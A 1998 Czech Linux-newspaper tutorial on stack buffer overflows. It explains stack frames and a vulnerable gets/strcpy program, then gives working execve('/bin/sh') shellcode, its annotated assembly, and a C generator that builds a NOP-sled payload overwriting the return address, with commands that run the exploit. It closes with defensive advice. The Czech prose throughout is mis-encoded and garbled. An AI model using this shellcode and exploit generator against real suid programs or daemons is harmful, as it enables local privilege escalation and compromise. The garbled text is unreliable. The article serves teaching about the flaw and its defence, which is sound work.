- p°edchozφ Φlßnek - nßsledujφcφ Φlßnek - obsah -

LinuxovΘ noviny B°ezen 1998

P°eteΦenφ bufferu

David Rohleder, 3. b°ezna 1998

P°eteΦenφ bufferu je jednou z nejΦast∞j╣φch bezpeΦnostnφch d∞r v programech UNIXov²ch systΘm∙.

Programovacφ jazyky, kterΘ umo╛≥ujφ rekurzivnφ volßnφ podprogram∙ (podprogram je rekurzivnφ, jestli╛e jeho novß aktivace m∙╛e zaΦφt je╣t∞ p°ed tφm, ne╛ se ukonΦφ jeho p°edchozφ aktivace) musφ pro jejich volßnφ pou╛φvat n∞jakou dynamickou strukturu, kterß udr╛uje informace pot°ebnΘ k ·sp∞╣nΘmu nßvratu z podprogramu. K tomuto ·Φelu se pou╛φvß zßsobnφk.

Oblasti

Nejd°φve si musφme vysv∞tlit, jak je proces organizovßn v pam∞ti. Proces je rozd∞len na t°i hlavnφ oblasti: text, data a zßsobnφk.

  • Textovß oblast obsahuje k≤d programu a data urΦenß pouze pro Φtenφ. Tato oblast je v pam∞ti oznaΦena pouze pro Φtenφ a nenφ mo╛no do nφ zapisovat. Pokus o zßpis vyvolß poru╣enφ ochrany pam∞ti. V Linuxu proto nenφ mo╛nΘ psßt samomodifikujφcφ se programy (no jo, kecßm :-).

  • Datovß oblast obsahuje inicializovanß a neinicializovanß data. Obsahuje v╣echny globßlnφ prom∞nnΘ a dynamicky alokovanΘ prom∞nnΘ. S velikostφ datovΘ oblasti je mo╛nΘ manipulovat pomocφ volßnφ brk(2) a sbrk(2).

  • Zßsobnφk slou╛φ p°edev╣φm k ulo╛enφ lokßlnφch prom∞nn²ch a p°edßvßnφ parametr∙ funkcφm. Mezi bss a zßsobnφk se je╣t∞ mapujφ sdφlenΘ knihovny a v∞ci, kterΘ lze mapovat pomocφ mmap(2).
[ schΘma ]

Obrßzek 6: Pam∞╗ p°i startu programu

Prßce se zßsobnφkem

Zßsobnφkovß oblast je souvisl² blok pam∞ti obsahujφcφ data. Na vrchol zßsobnφku ukazuje (u procesor∙ Intel) registr SP. Dno zßsobnφku je na pevnΘ adrese. Procesor pou╛φvß pro manipulaci se zßsobnφkem dv∞ instrukce: PUSH pro uklßdßnφ a POP pro vybφrßnφ dat ze zßsobnφku. Zßsobnφk v zßvislosti na typu procesoru roste bu∩ sm∞rem k ni╛╣φm nebo k vy╣╣φm adresßm. U procesor∙ Intel, SPARC a MIPS roste zßsobnφk sm∞rem k ni╛╣φm adresßm.

Zßsobnφk pou╛φvajφ programy k volßnφ sv²ch podprogram∙, p°edßvßnφ parametr∙ a uklßdßnφ lokßlnφch prom∞nn²ch. Na zßsobnφku jsou ulo╛eny ve form∞ tzv. aktivaΦnφho zßznamu AZ. P°i implementaci p°id∞lovßnφ pam∞ti b²vß jeden registr vyhrazen jako ukazatel na zaΦßtek aktußlnφho aktivaΦnφho zßznamu. Vzhledem k tomuto registru se pak poΦφtajφ adresy datov²ch objekt∙ umφst∞n²ch v aktivaΦnφm zßznamu. U procesor∙ Intel se pou╛φvß registr BP (Base Pointer). Napln∞nφ tohoto registru a p°id∞lenφ novΘho aktivaΦnφho zßznamu je souΦßstφ volacφ posloupnosti (prologu) podprogramu. Volacφ posloupnost je rozd∞lena mezi volajφcφ a volan² podprogram. Volajφcφ ulo╛φ do zßsobnφku parametry p°edßvanΘ podprogramu. Pak zavolß pomocφ instrukce CALL volan² podprogram. Nßvratovß adresa je ulo╛ena na zßsobnφk. Volan² podprogram na zßsobnφk ulo╛φ ukazatel na star² aktivaΦnφ zßznam (BP), pak do ukazatele BP ulo╛φ vrchol zßsobnφku a nakonec vyhradφ mφsto pro lokßlnφ prom∞nnΘ. Podprogram potom inicializuje lokßlnφ prom∞nnΘ a zaΦne provßd∞t svΘ t∞lo.

Jeden typick² p°φklad je na v²pisu P°φklad example1.c.

 int f(int a, int b, int c)
 {
   char buffer[5];
   char buffer2[10];

   return a+b;
 }

 void main(void)
 {
   f(1,2,3);
 }

V²pis 7: P°φklad example1.c

Pomocφ gcc vygenerujeme assemblerov² k≤d:

$ gcc -S -o example1.s example1.c

P°φslu╣n² k≤d pro volßnφ funkce f vypadß nßsledovn∞:

pushl $3
pushl $2
pushl $1
call f

Program ulo╛φ t°i argumenty v po°adφ od poslednφho k prvnφmu na zßsobnφk a pak zavolß funkci f. Toto po°adφ uklßdßnφ parametr∙ na zßsobnφk umo╛≥uje snadnΘ volßnφ funkcφ s prom∞nliv²m poΦtem parametr∙ (funkce s v²pustkou - int funkce(...)). Instrukce call f ulo╛φ na zßsobnφk nßvratovou adresu (nßvrat je pak proveden instrukcφ RET).

Volan² podprogram pak provede prolog:

/* ulo╛φ ukazatel na star² AZ do zßsobnφku */
pushl %ebp
/* do BP ulo╛φ ukazatel na nov² AZ */
movl %esp,%ebp
/* vyhrazenφ mφsta pro lokßlnφ prom∞nnΘ */
subl $20,%esp

Ulo╛φ registr ukazujφcφ na stßvajφcφ aktivaΦnφ zßznam (ebp) a ulo╛φ do n∞j nov² ukazatel na prßv∞ vytvß°en² zßznam. Pak vytvo°φ mφsto pro lokßlnφ prom∞nnΘ. P°ekladaΦ zarovnßvß prom∞nnΘ na dΘlku slova (tzn. v na╣em p°φpad∞ 4B). Tak╛e bytov² buffer velikosti 5 byt∙ ve skuteΦnosti zabφrß 8 byt∙ a buffer2 zabφrß 12 byt∙. Proto je nutno od SP odeΦφst 20.

Obsah zßsobnφku je znßzorn∞n na obrßzku Obsah zßsobnφku.

[ schΘma ]

Obrßzek 8: Obsah zßsobnφku

Po provedenφ t∞la podprogramu je nutnΘ obnovit stav, kter² byl p°ed volßnφm podprogramu. Tento postup se naz²vß nßvratovß posloupnost (function epilog) a je op∞t rozd∞len mezi volan² a volajφcφ podprogram. Volan² podprogram odstranφ ze zßsobnφku lokßlnφ prom∞nnΘ a obnovφ ukazatel na p°edchozφ AZ. Potom pomocφ instrukce RET vrßtφ °φzenφ volajφcφmu podprogramu. Volajφcφ podprogram dokonΦφ nßvratovou posloupnost tφm, ╛e odstranφ ze zßsobnφku parametry p°edßvanΘ podprogramu.

Nßvratovß posloupnost volanΘho podprogramu:

/* odstran∞nφ lokßlnφch prom∞nn²ch ze zßsobnφku */
movl %ebp,%esp
/* obnovenφ ukazatele na AZ volajφcφho podprogramu */
popl %ebp
/* nßvrat do volajφcφho podprogramu */
ret

Nßvratovß posloupnost volajφcφho podprogramu:

/* odstran∞nφ p°edßvan²ch parametr∙ ze zßsobnφku */
addl $12,%esp

P°eteΦenφ bufferu

Data se tedy do zßsobnφku vklßdajφ od vy╣╣φch adres k ni╛╣φm. V∞t╣ina operacφ se ov╣em provßdφ od ni╛╣φch adres k vy╣╣φm adresßm. Typick²m p°φkladem m∙╛e b²t kopφrovßnφ °et∞zc∙ (viz v²pis P°φklad example2.c).

 #include <string.h>
 #include <stdio.h>

void f(char *str) { char buffer[96]; /* tady jsou n∞jakΘ instrukce */ strcpy(buffer,str); /* tady mohou b²t n∞jakΘ dal╣φ instrukce */ } char retezec[512]; void main(void) { gets(retezec); f(retezec); } $ gcc -o example2 example2.c $ ./example2 Opravdu velmi ..... sem dopl≥te min. 90 \ znak∙ .... dlouh² string ^D Segmentation fault (core dumped) $

V²pis 9: P°φklad example2.c

Zde programßtor ud∞lal chybu, kdy╛ neo╣et°il stav, kdy je do prom∞nnΘ buffer ulo╛eno vφce dat ne╛ je jejφ velikost. To se mu ov╣em krut∞ vymstφ. Proto╛e je prom∞nnß buffer ulo╛ena na zßsobnφku, kter² roste od vy╣╣φch adres k ni╛╣φm, jsou p°epsßny v╣echny informace, kterΘ se nachßzejφ nad prom∞nnou buffer. Nane╣t∞stφ zde le╛φ takΘ nßvratovß adresa do volajφcφho podprogramu. P°i pokusu o nßvrat tedy s nejv∞t╣φ pravd∞podobnostφ dojde k poru╣enφ ochrany pam∞ti a k nßsilnΘmu ukonΦenφ procesu. Jak vypadß zßsobnφk p°ed a po volßnφ funkce strcpy() je na obrßzku Zßsobnφk.

[ schΘma ]

Obrßzek 10: Zßsobnφk

Ale co s tφm? Zatφm to nevypadß na n∞jakou mo╛nost zneu╛itφ. Program se pokou╣el provΘst k≤d, kde ╛ßdn² k≤d nebyl a tak interpretovat v podstat∞ nßhodn² k≤d nebo sßhl do oblasti, ke kterΘ nem∞l p°φstup. Ale co se stane v p°φpad∞, kdy na danΘm mφst∞ skuteΦn∞ n∞jak² programov² k≤d bude? K≤d se jednodu╣e provede.

Nejjednodu╣╣φ p°φpad

Z°ejm∞ nejjednodu╣╣φ je spu╣t∞nφ shellu. Na nßvratovou adresu, kterou p°epsal p°φli╣ dlouh² °et∞zec umφstφme volßnφ jßdra execve pro spu╣t∞nφ shellu (/bin/sh). JedinΘ co musφme v∞d∞t je, jak takovΘ volßnφ vypadß (viz v²pis P°φklad example3.c).

 #include <unistd.h>

 int main()
 {
   char *name[2];

   name[0]="/bin/sh";
   name[1]=NULL;

   execve(name[0],name,NULL);

   return 0;
 }

V²pis 11: P°φklad example3.c

$ gcc -g -O example3.c -o example3

V²stup z gdb vypadß pro funkci main() nßsledovn∞:

 (gdb) disas main
 Dump of assembler code for function main:
 0x8048140 <main>:    pushl %ebp
 0x8048141 <main+1>:  movl  %esp,%ebp
 0x8048143 <main+3>:  pushl $0x0
 0x8048145 <main+5>:  pushl $0x0
 0x8048147 <main+7>:  pushl $0x8058828
 0x804814c <main+12>: call 0x8048354 <execve>
 0x8048151 <main+17>: xorl  %eax,%eax
 0x8048153 <main+19>: movl  %ebp,%esp
 0x8048155 <main+21>: popl  %ebp
 0x8048156 <main+22>: ret    
 End of assembler dump.
 (gdb) 

Disassemblovan² v²stup z funkce execve():

 0x8048354 <execve>:    pushl %ebp
 0x8048355 <execve+1>:  movl  %esp,%ebp
 0x8048357 <execve+3>:  pushl %ebx
 0x8048358 <execve+4>:  movl  $0xb,%eax
 0x804835d <execve+9>:  movl  0x8(%ebp),%ebx
 0x8048360 <execve+12>: movl  0xc(%ebp),%ecx
 0x8048363 <execve+15>: movl  0x10(%ebp),%edx
 0x8048366 <execve+18>: int   $0x80
 0x8048368 <execve+20>: movl  %eax,%edx
 0x804836a <execve+22>: testl %edx,%edx
 0x804836c <execve+24>: jnl   0x804837e <execve+42>
 0x804836e <execve+26>: negl  %edx
 0x8048370 <execve+28>: pushl %edx
 0x8048371 <execve+29>: call  0x8050a44 <__normal_errno_location>
 0x8048376 <execve+34>: popl  %edx
 0x8048377 <execve+35>: movl  %edx,(%eax)
 0x8048379 <execve+37>: movl  $0xffffffff,%eax
 0x804837e <execve+42>: popl  %ebx
 0x804837f <execve+43>: movl  %ebp,%esp
 0x8048381 <execve+45>: popl  %ebp
 0x8048382 <execve+46>: ret   
 0x8048383 <execve+47>: nop   

Nejd∙le╛it∞j╣φ Φinnostφ knihovnφ funkce execve je volßnφ jßdra vytvß°ejφcφ nov² proces. V Linuxu pro Intel se pro volßnφ jßdra pou╛φvß p°eru╣enφ int 80. ╚φslo funkce jßdra se p°edßvß v registru eax a p°φpadnΘ parametry pak v dal╣φch registrech. ╚φslo 0xb je prßv∞ Φφslo funkce v jßd°e, kterß p°epφ╣e stßvajφcφ k≤d nov²m k≤dem a spustφ jej.

Nynφ by staΦilo pou╛φt tuto Φßst k≤du jako °et∞zec, kter²m p°eteΦeme buffer v nφ╛e uvedenΘm programu. Jsou zde ov╣em dva malΘ problΘmy. ╪et∞zec "/bin/sh" se do volßnφ execve() p°edßvß jako ukazatel na °et∞zec. Tento °et∞zec je umφst∞n v datovΘm segmentu. Proto╛e nem∙╛eme poΦφtat s tφm, ╛e program, kter² se sna╛φme napadnout bude mφt n∞kde v pam∞ti °et∞zec "/bin/sh" musφme si ho dodat sami. Druh² problΘm spoΦφvß v tom, ╛e k≤d obsahuje nulovΘ byty - chceme toti╛ pro p°eteΦenφ bufferu pou╛φt volßnφ strcpy().

╪e╣enφ prvnφho problΘmu je nßsledujφcφ: °et∞zec "/bin/sh" umφstφme na konec na╣eho °et∞zce s k≤dem. Nynφ musφme ov╣em zjistit adresu tohoto °et∞zce. Pou╛ijeme k tomu sekvenci relativnφho skoku (jmp) a relativnφho volßnφ (call). Instrukci jmp umφstφme na zaΦßtek k≤du. Instrukci call na konec k≤du, t∞sn∞ p°ed °et∞zec "/bin/sh". Instrukce jmp provede relativnφ skok na instrukci call, kterß ulo╛φ do zßsobnφku nßvratovou adresu a provede skok na instrukci t∞sn∞ za jmp. Instrukce call ulo╛φ na zßsobnφk adresu nßsledujφcφ instrukce. Za call ov╣em nenφ instrukce, ale °et∞zec "/bin/sh". Tφmto pon∞kud komplikovan²m zp∙sobem jsme zφskali adresu °et∞zce "/bin/sh".

Druh² problΘm vy°e╣φme pomocφ instrukce xor %eax,%eax, tak dostaneme do registru eax nulu bez uvedenφ nulovΘho bytu. Tak na v╣echna mφsta, kde by m∞la b²t nula umφstφme nulu a╛ v dob∞ b∞hu na╣eho k≤du.

 #include <stdlib.h>

 #define BUFFER_SIZE 96
 #define AZ 12
 #define NAS_BUFFER BUFFER_SIZE+AZ+1
 #define NOP 0x90

 /* Velikost bufferu, kter² se sna╛φme p°etΘct.
  * Na zaΦßtku bude obsahovat instrukce nop a * na konci adresy zaΦßtku programu
  * AZ ... velikost aktivaΦnφho zßznamu
  */

 /* 
  * °et∞zec pou╛it² pro spu╣t∞nφ programu /bin/sh
  * podle chuti je mo╛no nahradit /bin/sh jinym programem
  * se jmΘnem o dΘlce 7 znak∙: nap°. /bin/ps
  */

 char shell[] = 
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
     "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 char *buff, *ptr;
 unsigned long *addr, *addr_ptr;
 int i;

 void main(int argc, char *argv[])
 {
   if (argc<2) {
     printf("╣patn² poΦet argument∙\n");
     exit(1);
   }

   sscanf(argv[1],"%p",&addr);

   if(!(buff = malloc(NAS_BUFFER))){
     printf("Nedostatek pam∞ti ???\n");
     exit(1);
   }

   addr_ptr = (long *) buff ;

   for(i=0;i<(NAS_BUFFER);i+=4)
     *(addr_ptr++) = addr;

   /* pßr NOP∙ na zaΦßtek nem∙╛e u╣kodit */

   for(i=0;i<20;i++) *(buff+i) = NOP;

   ptr=buff+20;
   for (i=0;i<strlen(shell);i++) *ptr++=shell[i];

   buff[NAS_BUFFER-1]='\0';

   printf("%s\n",buff);
 }

V²pis 12: P°φklad example5.c

 void main()
 {
   __asm__("
    jmp     0x1f            # skok na instrukci call
    popl    %esi            # adresa °et∞zce /bin/sh
    movl    %esi,0x8(%esi)  # druh² parametr volßnφ execve na zßsobnφk
    xorl    %eax,%eax       # 
    movb    %eax,0x7(%esi)  # ukonΦφ °et∞zec /bin/sh nulou
    movl    %eax,0xc(%esi)  # t°etφ parametr volßnφ execve na zßsobnφk
    movb    $0xb,%al        # syscall 11 - execve
    movl    %esi,%ebx       # prvnφ parametr do %ebx
    leal    0x8(%esi),%ecx  # druh² parametr do %ecx
    leal    0xc(%esi),%edx  # t°etφ parametr do %edx
    int     $0x80           # volßnφ jßdra execve
    xorl    %ebx,%ebx       # prob∞hne pouze v p°φpad∞, 
    movl    %ebx,%eax       # ╛e volßnφ execve sel╛e, pak se volß
    inc     %eax            #
    int     $0x80           # exit(0)
    call    -0x24           # zφskßnφ adresy °et∞zce a nßvrat na zaΦßtek
    .string \"/bin/sh\"
 ");

V²pis 13: P°φklad example4.c

Z programu na v²pisu P°φklad example4.c pak zφskßme °et∞zec, kter² spolu s dal╣φmi Φßstmi pou╛ijeme p°i p°eteΦenφ bufferu. Program, kter² tento °et∞zec vytvo°φ je na v²pisu P°φklad example5.c.

Tφmto zp∙sobem vygenerujeme °et∞zec, kter² bude na zaΦßtku obsahovat n∞kolik instrukcφ NOP (pro jistotu, nemusφ tam b²t), pak °et∞zec, kter² spou╣tφ program /bin/sh a nakonec adresu zaΦßtku °et∞zce, kterou zadßme jako parametr (touto Φßstφ p°epφ╣eme nßvratovou adresu). Nynφ ov╣em musφme zjistit, kde zaΦφnß prom∞nnß buffer na zßsobnφku. Asi nejjednodu╣╣φ zp∙sob je upravit program example2.c, aby nßm tuto adresu vytiskl (viz v²pis P°φklad example6.c).

 #include <string.h>
 #include <stdio.h>

 void f(char *str)
 {
    char buffer[96];
    fprintf(stderr,"Zßsobnφk: %p\n",buffer);

    strcpy(buffer,str);
 }

 char retezec[512];

 void main(void)
 {
    gets(retezec);
    f(retezec);
 }

V²pis 14: P°φklad example6.c

FunkΦnost programu ov∞°φme nßsledovn∞:

 $ gcc -o example5 example5.c
 $ gcc -o example6 example6.c
 $ ./example6
 ^D
 Zßsobnφk: 0xbffffabc
 $ ./example5  0xbffffabc | ./example6
 $
 

A nynφ na p∙vodnφm programu:

 $ ./example6
 ^D
 Zßsobnφk: 0xbffffabc
 $ ./example5 0xbffffabc | ./example2 
 $

Pokud jsme postupovali sprßvn∞, tak se specißlnφm vstupem dosßhneme spu╣t∞nφ jinΘho programu (pokud to nenφ z°ejmΘ, zkuste nahradit °et∞zec "/bin/sh" °et∞zcem "/bin/ps"). P°edstavte si takovou chybu nap°φklad v programu finger (d°φve byl spou╣t∞n pod u╛ivatelem root).

Zneu╛itφ?

Mo╛nost zneu╛itφ takovΘto programßtorskΘ chyby obvykle zßvisφ na charakteristice danΘho programu. O zneu╛itφ se dß hovo°it zejmΘna v p°φpad∞ program∙ s prop∙jΦenφm identifikace vlastnφka (suid) nebo aplikacφ spu╣t∞n²ch s oprßvn∞nφm n∞koho jinΘho a Φtoucφ data od u╛ivatele (nap°. sφ╗ovΘ dΘmony). Asi nejznßm∞j╣φ p°φpad takovΘho druhu zneu╛itφ byl tzv. Morris∙v internetov² Φerv zneu╛φvajφcφ mimo jinΘ p°eteΦenφ bufferu p°i Φtenφ dat v dΘmonu finger(1).

Obrana?

SprßvnΘ programovacφ techniky :-). Zßm∞na funkcφ typu strcpy() za funkce strncpy(), gets() za fgets() a pod. Dal╣φmi mo╛nostmi jsou zejmΘna specißln∞ upravenΘ p°ekladaΦe nebo p°φmo patch do jßdra. O tom mo╛nß n∞kdy p°φ╣t∞...

Pou╛itß literatura:

  1. Smith, Nathan P.: Stack Smashing Vulnerabilities in the UNIX Operating System
    http://millcomm.com/~nate/machines/security/stack-smashing/,
  2. Aleph One: Smashing The Stack For Fun And Profit
    Phrack 49
*


- p°edchozφ Φlßnek - nßsledujφcφ Φlßnek - obsah -